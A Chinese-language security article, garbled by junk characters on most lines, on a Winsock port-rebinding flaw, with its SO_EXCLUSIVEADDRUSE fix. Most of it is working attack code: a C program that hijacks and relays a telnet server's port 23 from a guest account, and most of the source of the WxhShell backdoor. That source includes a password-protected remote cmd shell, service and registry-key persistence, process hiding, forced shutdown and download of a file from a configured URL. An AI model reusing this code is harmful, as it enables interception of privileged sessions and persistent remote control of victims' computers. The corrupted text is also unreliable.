在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
I)Lg=n$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
wgzjuTqwBF Fgt/A#`fz saddr.sin_family = AF_INET;
/Q})%j1S0 5NBc8h7 V saddr.sin_addr.s_addr = htonl(INADDR_ANY);
|UBR8 &Q(Q/]U~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
8WfF: R; EJb"/oLla 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
D3(|bSca K=+w,H#`C 这意味着什么?意味着可以进行如下的攻击:
^\{%(i9 I_'vVbK+> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
L?4c8!Q Pm7,Nq)<>n 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?f CLiK >77
/e@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
=>4>Z_q Y-gjX$qGo 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
[$OD+@~A2 >2vl & ( 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
i1\xZ<|0 ATk>:^n 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Euk#C;uBg k "'q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
9k& lq$ vA;ml$ #include
:*)~nPVV #include
p_!Y:\a5 #include
V0c*M>V #include
,BOB &u DWORD WINAPI ClientThread(LPVOID lpParam);
XDz![s int main()
>p}d:t/ {
2JUX29rER WORD wVersionRequested;
f|w+}z DWORD ret;
Ajs<a(,6 WSADATA wsaData;
yQM7QLbTk BOOL val;
J<>z}L{ SOCKADDR_IN saddr;
hy3[MOD$G SOCKADDR_IN scaddr;
!|}J{
int err;
FWq6e, SOCKET s;
0{gvd"q SOCKET sc;
L7wl3zG int caddsize;
B#B$w_z HANDLE mt;
v}+axu/? DWORD tid;
"n7rbh3VW wVersionRequested = MAKEWORD( 2, 2 );
E)09M%fe err = WSAStartup( wVersionRequested, &wsaData );
STVJu![ if ( err != 0 ) {
D7 [n^WtL printf("error!WSAStartup failed!\n");
d3&gHt2 return -1;
zVGjXuNa }
V4l`Alr\L saddr.sin_family = AF_INET;
+T"kx\<
OMvwmm //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
}rn}r4_a i"F'n0*L saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
{5#P1jlT saddr.sin_port = htons(23);
E@JxY if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
N#bWMZ" {
!jU<(eY printf("error!socket failed!\n");
Y)hLu:P]
return -1;
a_`E'BkgU }
zb?wlfT val = TRUE;
|n}W^}S5 //SO_REUSEADDR选项就是可以实现端口重绑定的
t TA6 p if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
ed'}ReLK {
KQJn\#> printf("error!setsockopt failed!\n");
_-o*3gmbQ return -1;
3+EJ% }
bhOyx //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
x/[i &Gkv //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
&VY;Al //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
bv\V>s (|'w$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Zj<oh8 {
s|pb0 ret=GetLastError();
d;mQ=k
1 printf("error!bind failed!\n");
6x]|IWvW return -1;
jm.pb/ }
~H@':Mms.h listen(s,2);
T5 5l-.> while(1)
O .TFV. {
>, 234ab=d caddsize = sizeof(scaddr);
8kW9.
//接受连接请求
,H22;UV9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
7KRc^ *pZs if(sc!=INVALID_SOCKET)
66p_d'U {
7 z<!2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~-']Q0Z if(mt==NULL)
sx*1D9s_ {
l>~:lBO printf("Thread Creat Failed!\n");
Mky$#SI11 break;
k5!k3yI }
;cp-jY_U }
zHb<YpU CloseHandle(mt);
_\@i&3hkx }
KS*W<_I closesocket(s);
4fzq C) WSACleanup();
i$"FUC~' return 0;
RVI],O }
,yV
pB)IQ DWORD WINAPI ClientThread(LPVOID lpParam)
ngeX+@ {
Gk[P-%%b / SOCKET ss = (SOCKET)lpParam;
M8KfC! SOCKET sc;
2<ef&?ljk unsigned char buf[4096];
F<V
zVEx SOCKADDR_IN saddr;
wf|CE410 long num;
YgM6z K~ DWORD val;
et9c<' DWORD ret;
OR?8F5o?p //如果是隐藏端口应用的话,可以在此处加一些判断
+% U@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
y{j>4g$:z saddr.sin_family = AF_INET;
U-WrZ|- saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
zN2sipJS8 saddr.sin_port = htons(23);
Z#V[N9L if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#y>oCB`EM {
}Ecm printf("error!socket failed!\n");
'O{hr0q} return -1;
n8:2Z> }
SCGQo.~, val = 100;
"hy#L
0\t if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+S/8{2%?DG {
P]6pPS ret = GetLastError();
!^8'LMY<I return -1;
_I$]L8hC }
>@oO7<WB if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Ym F`7W {
j<l>+.,
U ret = GetLastError();
%'g/4I return -1;
BwEL\*$g }
2ZE4^j| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
!. 0W?6yo {
58v5Z$%-- printf("error!socket connect failed!\n");
|#-Oz#Eg' closesocket(sc);
?C $_?Qi closesocket(ss);
B"Fg`s+]U return -1;
n"dT^
g }
|=h>3Z=r! while(1)
0f-gQD {
,%,}[q?]d //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
/1OhW>W3eH //如果是嗅探内容的话,可以再此处进行内容分析和记录
P}VD}lEyO //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
SnXYq7`t num = recv(ss,buf,4096,0);
~V./*CQ\c if(num>0)
D2?7=5DgS send(sc,buf,num,0);
l|uN-{w else if(num==0)
pkxW19h*0 break;
+:Y6O'h. num = recv(sc,buf,4096,0);
T
7
hC]R if(num>0)
|UlScUI, send(ss,buf,num,0);
M~"K@g=Wr else if(num==0)
(JF\%Yj/ break;
_C*}14
"3 }
7M$>'PfO closesocket(ss);
`Zk?.1*2/ closesocket(sc);
Ybok[5 return 0 ;
HZP`u >. }
EL+}ab2S @|cas|U.r c3Mql+@ ==========================================================
f|<
*2Mk H ~$a6T"& 下边附上一个代码,,WXhSHELL
CF$^we ~5JXY5*o ==========================================================
yt<K!=7& Y]Xal
#include "stdafx.h"
#=zh&` lJK U^?4S8 #include <stdio.h>
*.i`hfRc #include <string.h>
4K4?Q+? #include <windows.h>
QU\|RX #include <winsock2.h>
?5+= #include <winsvc.h>
M/#<=XhA #include <urlmon.h>
9 s>JdAw? W/&cnp\ #pragma comment (lib, "Ws2_32.lib")
M~wJe@bc #pragma comment (lib, "urlmon.lib")
m"xw5aa> 8-po| #define MAX_USER 100 // 最大客户端连接数
ffSecoX #define BUF_SOCK 200 // sock buffer
O@EpRg1 #define KEY_BUFF 255 // 输入 buffer
0h#' 3z< 7
bpV= #define REBOOT 0 // 重启
q,+d\-+ #define SHUTDOWN 1 // 关机
tTP"*Bb }t]CDa_n #define DEF_PORT 5000 // 监听端口
W**a\[~$ ^S[Mg6J #define REG_LEN 16 // 注册表键长度
:;]6\/ky #define SVC_LEN 80 // NT服务名长度
xy[R9_V {HQ? // 从dll定义API
]X{LZYk typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
S^~GI$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
uZg Kex;c typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
&grT} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
,qt9S0QS lB3W|-Ci // wxhshell配置信息
5H>[@_u+: struct WSCFG {
#uFP
eu: int ws_port; // 监听端口
@Vc*JEW char ws_passstr[REG_LEN]; // 口令
k%JwS_F int ws_autoins; // 安装标记, 1=yes 0=no
R~;<}!Gtx char ws_regname[REG_LEN]; // 注册表键名
V[Auw3) char ws_svcname[REG_LEN]; // 服务名
C:z K{+ char ws_svcdisp[SVC_LEN]; // 服务显示名
^qYJx char ws_svcdesc[SVC_LEN]; // 服务描述信息
[,$] %|6wt char ws_passmsg[SVC_LEN]; // 密码输入提示信息
;aWH`^{i int ws_downexe; // 下载执行标记, 1=yes 0=no
Xb3z<r
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
fY$M**/, char ws_filenam[SVC_LEN]; // 下载后保存的文件名
(B]rINY| IIs'm!"Y> };
~[ isR|> TDk' // default Wxhshell configuration
t%V!SvT8+ struct WSCFG wscfg={DEF_PORT,
GR Rv0M "xuhuanlingzhe",
GnkNoaU 1,
mKQ!@$* "Wxhshell",
F3i+t+Jt "Wxhshell",
!z$.Jcr1 "WxhShell Service",
| Fm( "Wrsky Windows CmdShell Service",
-6(C^X% "Please Input Your Password: ",
V8 }yK$4b 1,
C/\)-^ "
http://www.wrsky.com/wxhshell.exe",
Bc`jkO.q "Wxhshell.exe"
oGqv,[$qN };
[ bW=>M 00p 7sZU^ // 消息定义模块
..:V3]-D char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
g}-Z]2(c# char *msg_ws_prompt="\n\r? for help\n\r#>";
^&.?kJM char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
?Sqm`)\>4 char *msg_ws_ext="\n\rExit.";
Uu+C<j&- char *msg_ws_end="\n\rQuit.";
.g~@e_;): char *msg_ws_boot="\n\rReboot...";
AIyv;}5 char *msg_ws_poff="\n\rShutdown...";
aiHr2x6 char *msg_ws_down="\n\rSave to ";
(n/1:' -Tx tX8v char *msg_ws_err="\n\rErr!";
;`B35K char *msg_ws_ok="\n\rOK!";
ar|[D7Xrq\ "BRE0Ir: char ExeFile[MAX_PATH];
L'Zud,JKg int nUser = 0;
DO1{r/Ib.{ HANDLE handles[MAX_USER];
E'8Bw7Tz int OsIsNt;
=@ZtUjcJx zf~zYZSr SERVICE_STATUS serviceStatus;
r<v%Zp SERVICE_STATUS_HANDLE hServiceStatusHandle;
ea0tx3' Ak Tw?v' // 函数声明
@UX@puK`/ int Install(void);
u2]g1XjeG int Uninstall(void);
GJs[m~`8# int DownloadFile(char *sURL, SOCKET wsh);
:$aW@?zAY int Boot(int flag);
F* }Q^% void HideProc(void);
Ba0D"2CgY int GetOsVer(void);
E{s|# int Wxhshell(SOCKET wsl);
Nh9!lB m*] void TalkWithClient(void *cs);
>` QX
xTn int CmdShell(SOCKET sock);
9Oyi:2A int StartFromService(void);
sVd_O[ int StartWxhshell(LPSTR lpCmdLine);
N RSse" %E"/]!}3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
RCYbRR4y VOID WINAPI NTServiceHandler( DWORD fdwControl );
-/c1qLdQ tq[",&K // 数据结构和表定义
7 afA'.= SERVICE_TABLE_ENTRY DispatchTable[] =
' u};z:t {
Xl6ZV,1=n7 {wscfg.ws_svcname, NTServiceMain},
+A ?+G {NULL, NULL}
',`4 U F };
n "KJB ?{,)XFck // 自我安装
;n{j,HB int Install(void)
f^sb0nU {
9c}]:3#XO char svExeFile[MAX_PATH];
5zw23! HKEY key;
zMzf=~ strcpy(svExeFile,ExeFile);
UN?T}p-
oF >m6,xxTR // 如果是win9x系统,修改注册表设为自启动
N|d.!Q;V.y if(!OsIsNt) {
[I<'E
LX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:$Q]U2$mPS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
| ,l=v`/ RegCloseKey(key);
B
m@oB2x) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>\x_"oR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
m\Fb , RegCloseKey(key);
VE"0VB. return 0;
`(Q_ 65y }
$4*E\G8 }
@1-GPmj- }
pkV\D else {
$17
v, X1V}%@3: // 如果是NT以上系统,安装为系统服务
WlRZ|. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
CE7pg&dJ)i if (schSCManager!=0)
;7^j-6 {
~v(M6dz~vk SC_HANDLE schService = CreateService
Ysc|kxLb (
O{cGk:
y schSCManager,
p9 ,\ {Is wscfg.ws_svcname,
@uM3iO7& wscfg.ws_svcdisp,
Iam-'S5 SERVICE_ALL_ACCESS,
iMeRQYW SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
yH"$t/cU"R SERVICE_AUTO_START,
%)hIpxOrX SERVICE_ERROR_NORMAL,
':2*+ svExeFile,
k5%0wHpk = NULL,
ywQ!9 \ NULL,
si!9Gz; NULL,
0jJ28.kOp NULL,
iI@Gyq= NULL
pGbFg& );
Rr;LV<q+ if (schService!=0)
;aK !eD$ {
EBDC '^ CloseServiceHandle(schService);
mA] 84zO CloseServiceHandle(schSCManager);
J,0WQQnb strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
rb}wv16? strcat(svExeFile,wscfg.ws_svcname);
o!l3.5m2d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
400Tw`AiJ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
sg6w7fp> RegCloseKey(key);
<;,S"e return 0;
.M53, 8X }
Rqb{)L
X* }
Sv~1XL W CloseServiceHandle(schSCManager);
R!V5-0% }
Puth8$ }
2) /k`Na L4/TI(MP return 1;
MNf @HG }
fdq^!MWTi T?]kF- // 自我卸载
H6PXx int Uninstall(void)
6Er0o{iI {
S`2mtg HKEY key;
\{MrQ2jd rz[uuY7 if(!OsIsNt) {
iQm.]A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
s7UhC.>'@ RegDeleteValue(key,wscfg.ws_regname);
@cS1w'= RegCloseKey(key);
JW% /^' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
yjOu]K:X RegDeleteValue(key,wscfg.ws_regname);
SP
D207 RegCloseKey(key);
1 ~B< return 0;
q(jkit~`A }
%g]$Vfpy }
az\<sWb# }
-e`oW.+ else {
,.6J6{ z3vsz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
N)vk0IM! if (schSCManager!=0)
z*dQIC {
9Ew:.&d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
!0!U01SWa if (schService!=0)
Hn#GS9d_? {
Mf;|z0UX if(DeleteService(schService)!=0) {
_\4` CloseServiceHandle(schService);
%EJ\|@N: CloseServiceHandle(schSCManager);
!e:iB7< return 0;
5M<'A= }
8z."X$ CloseServiceHandle(schService);
L=
:d!UF }
+&7[lsD*
CloseServiceHandle(schSCManager);
n2xLgK= }
"W &:j:o }
/i-xX* kvW|= return 1;
t
g
KG& }
MG7 ?N # fr}1_0DDz // 从指定url下载文件
H[BD) int DownloadFile(char *sURL, SOCKET wsh)
5|<yfk8*J {
u0bfX,e2U HRESULT hr;
e-CNQnO~ char seps[]= "/";
[K cki+ char *token;
(~j,mk char *file;
W_[|X}lWP char myURL[MAX_PATH];
K0EY<Ltq char myFILE[MAX_PATH];
heE}_,$| X q}Ucpj strcpy(myURL,sURL);
V=j-Um; token=strtok(myURL,seps);
j[J5y# while(token!=NULL)
z-EwXE {
0>,.c2), file=token;
_BZ1Vnv token=strtok(NULL,seps);
b]!9eV$ }
,O:EX0 o"rq/\ovv GetCurrentDirectory(MAX_PATH,myFILE);
[[:UhrH- strcat(myFILE, "\\");
?PBa'g strcat(myFILE, file);
T>}0) s send(wsh,myFILE,strlen(myFILE),0);
S~KS9E~\ send(wsh,"...",3,0);
:83,[;GO2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
aWyUu/g<A` if(hr==S_OK)
21r==
H$ return 0;
Tbv/wJ else
z;i4N3-: return 1;
nz4<pvC,* !Y (apVQ }
kOw=c Gt Zy^=fM // 系统电源模块
yn SBVb!) int Boot(int flag)
0,HqE='w {
^:`oP"%-T HANDLE hToken;
\ht ?Gn TOKEN_PRIVILEGES tkp;
lC0~c=?J B[r<m J if(OsIsNt) {
8zY)J # OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
pet~[e%! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/Rj#sxtdw tkp.PrivilegeCount = 1;
"'m)VG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
3UdU"d[75 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
bmu6@jT if(flag==REBOOT) {
~g6"'Cya?k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
EIr@g return 0;
o\Uu?.-< }
Hou*lCA else {
SxJ$b if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
CE uWw:) return 0;
hq=,Z1J }
`H\)e%] }
69-:]7.g else {
B{C_hy-fw if(flag==REBOOT) {
8-m
3e if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ldGojnS return 0;
ciudRK63M }
!;S"&mcPDJ else {
B:<
]Hl$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
.h4\{| return 0;
?s?$d&h }
5u r)uz]w8 }
rAb&I"\ZY 7{e=="#* return 1;
8Hi!kc;f6> }
|S&5es-yW ](#&.q%5! // win9x进程隐藏模块
Pao%pA.< void HideProc(void)
w\Mnu}<e$ {
9@K.cdRjQ im]g(#GnKh HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
>xqM5#m`E$ if ( hKernel != NULL )
S|em[D[Y^ {
n((vY.NDV pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
kkS~4?-* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
maNW{"1 FreeLibrary(hKernel);
-)jax }
I7n3xN&4" x[Im%k return;
L?5f+@0. }
nwA8ALhE [q*%U4qGO // 获取操作系统版本
g5Z#xszj+ int GetOsVer(void)
n6MM5h/#r {
wMg0> OSVERSIONINFO winfo;
]Hefm?9*^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
=*c7i]@} GetVersionEx(&winfo);
WGZ9B^A if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
r
w2arx return 1;
=k^Y?. else
g'n7T|h
~ return 0;
Zy?Hi` }
zGkS^Z=( ijK"^4i // 客户端句柄模块
gf
&Pn int Wxhshell(SOCKET wsl)
S79;^X {
%,@e^3B SOCKET wsh;
{YAJBIvHV struct sockaddr_in client;
.yqM7U_ DWORD myID;
?IqQ-C)6D '}Z~JYa0 while(nUser<MAX_USER)
YA_c
N5p/@ {
PGhY>$q>b int nSize=sizeof(client);
g4=pnK8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
$!-c-0ub if(wsh==INVALID_SOCKET) return 1;
0uOkMuy< kwo3`b handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^cP!\E-^ if(handles[nUser]==0)
[S9K6%w_! closesocket(wsh);
zuJ@E=7 else
g9}DnCT*. nUser++;
9=8iy
w }
z<U-#k7nz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
~=6xyc/c '
V^6XI return 0;
Vt %bI0# }
~962i#&4 |,gc_G // 关闭 socket
DEG[Z7Ju void CloseIt(SOCKET wsh)
A@1W}8qY: {
V3Q+s8OIF closesocket(wsh);
c[wla<dO* nUser--;
-Ta9 pxZk ExitThread(0);
cl[BF'.H }
&:9cAIe]H f33 2J // 客户端请求句柄
1 d}Z(My void TalkWithClient(void *cs)
e6R}0w~G {
dx5#\"KX=, Vd,jlt.t SOCKET wsh=(SOCKET)cs;
\o}xF@sM5 char pwd[SVC_LEN];
eL10Q(;P` char cmd[KEY_BUFF];
:DrWq{4 char chr[1];
wSzv|\
G int i,j;
TJ_$vI `<``8 while (nUser < MAX_USER) {
Q('r<v96 n7B7 m,@1 if(wscfg.ws_passstr) {
L[oui,}_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]i&6c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
kO.%9wFbz //ZeroMemory(pwd,KEY_BUFF);
>Wm`v.- i=0;
p `8s while(i<SVC_LEN) {
GY6`JWk Qi,j+xBp // 设置超时
\\r)Ue] fd_set FdRead;
3m]4= struct timeval TimeOut;
?]|\4]zV FD_ZERO(&FdRead);
.*@;@06? FD_SET(wsh,&FdRead);
Fsmycr!R TimeOut.tv_sec=8;
/[a~3^Gs^ TimeOut.tv_usec=0;
^=BTz9QM int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
`YFtL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
nW PF6V> ;,C)!c& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
nHnK)9\ N pwd
=chr[0]; .f*4T4eR-
if(chr[0]==0xd || chr[0]==0xa) { 4,bv)Im+ `
pwd=0; j@W.&- _
break; (7mAt3n
k
} !POl;%\
i++; ,V,`Jf
} #o=y?(
F |d\k Q
// 如果是非法用户,关闭 socket ^Ew]uN>,
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8;d:-Cp
} RHaI ~jb
Pj#<K%Bz
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :=}US}H$
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (n*^4@"2
)_+rU|We
while(1) { J ][T"K
WzPTFw[
ZeroMemory(cmd,KEY_BUFF); ^WHE$4U`
Uddr~2%(
// 自动支持客户端 telnet标准 1{r3#MVL
j=0; UR%/MV
while(j<KEY_BUFF) { ?^H
`M|S
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gD,1 06%
cmd[j]=chr[0]; vL|SY_:4
if(chr[0]==0xa || chr[0]==0xd) { p6]7&{>
cmd[j]=0; f1`gdQ)H
break; ^"VJd[Hn
} .Obw|V-
j++; %@wJ`F2a_
} iWRH{mK
~?D4[D|sB
// 下载文件 W,4QzcQR
if(strstr(cmd,"http://")) { t`WB;o!
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ||T2~Q*:y
if(DownloadFile(cmd,wsh)) Qt iDTr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^$%S &W
else *'OxAfa#x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e&simX;W
} c]$i\i#
else { AjmVc])
6o
|kIBte-
switch(cmd[0]) { ,LTH;<zB)
1q~+E\x
// 帮助 c;%_EN%
case '?': { wHsYF`
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3 j!3E
break; G %N
$C
} 2{]`W57_=
// 安装 R?v>Q` Qi
case 'i': { CEXyrs<
if(Install()) -|kA)M[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \qR7mI/*
else w<C#Bka
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Nw&_<\9Q
break; A:>01ZJ5S+
} P1zKsY,l$<
// 卸载 WzAb|&?
case 'r': { j;']cWe
if(Uninstall()) - d8TD*^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rJPb 3F
else ~;O v-^tp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Yxo~ m(
break; 2uG0/7
} 7bqBk,`9
// 显示 wxhshell 所在路径 _Bj)r}~7#
case 'p': {
QN@CPuy
char svExeFile[MAX_PATH]; L/wD7/ODr
strcpy(svExeFile,"\n\r"); jL(qf~c_
strcat(svExeFile,ExeFile); W^fuScG)c
send(wsh,svExeFile,strlen(svExeFile),0); Q&MZN);.
break; W;_nK4$%'
} 3l)h yVf&
// 重启 el2bd
:
case 'b': { NXwz$}}Pp
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NxjB/N
if(Boot(REBOOT)) 8*8Zc/{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6WV\}d:
else { JmPHAUd
closesocket(wsh); wm]^3qI2
ExitThread(0); _8"O$w
} dA@'b5N{"
break; Xg<*@4RD8
} (EK"V';
// 关机 TftHwe):V
case 'd': { HOw-]JSP2
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bSsh^Z
if(Boot(SHUTDOWN)) A6GE,FhsG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !
vP[;6
else { jZh';M8"
closesocket(wsh); b|cyjDMAA
ExitThread(0); vN|l\!~
} R>,:A%?^b5
break; Y3r%B9~
} KC(xb5x
Y
// 获取shell I"Ms-zs
case 's': { Q@
2i~Qo[
CmdShell(wsh); fQ/
0R
closesocket(wsh); -QOw8vm
ExitThread(0); VUVaaOmO
break; I?"q/Ub~h
} :>D[n1v
// 退出 qtiz a~u
case 'x': { &8%e\W\K:/
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vr0WS3
CloseIt(wsh); *GxTX3i}vc
break; N` aF{3[
} .u:81I=w(
// 离开 GDu~d<R H
case 'q': { 5m?8yT}
send(wsh,msg_ws_end,strlen(msg_ws_end),0); PH?#)lD
closesocket(wsh); `D`sr[3n
WSACleanup(); Np'2}6P
exit(1); }e2(T
break; IX*idcxR
} "*LD 3
} tjGd )
} )Psb>'X
#{k|I$
// 提示信息 #ggf' QIHp
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )dY=0"4Z
} 1AG=%F|.
} ua5OGx
U
f|>
(C
return; Vs%|pIV
} 3 n'V\Hvz
GP&vLt51
// shell模块句柄 AtF3%Zv2
int CmdShell(SOCKET sock) UJfEC0
{ " R-!(9k^`
STARTUPINFO si; 4'-|UPhx
ZeroMemory(&si,sizeof(si)); cx}Q2S
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5aln>1x>hn
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *xON W
PROCESS_INFORMATION ProcessInfo; 6KVnnK
char cmdline[]="cmd"; yaG= j
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IkrF/$r
return 0; \3'9Uz,OC
} \MjJ9u `8
abJ"
[
// 自身启动模式 qf=1?=l291
int StartFromService(void) ^|/](
{ dn}` i
typedef struct x_c7R;C
{ )(tM/r4`c&
DWORD ExitStatus; [5uRS}!
DWORD PebBaseAddress; (tCUlX2
DWORD AffinityMask; }|5VRJA
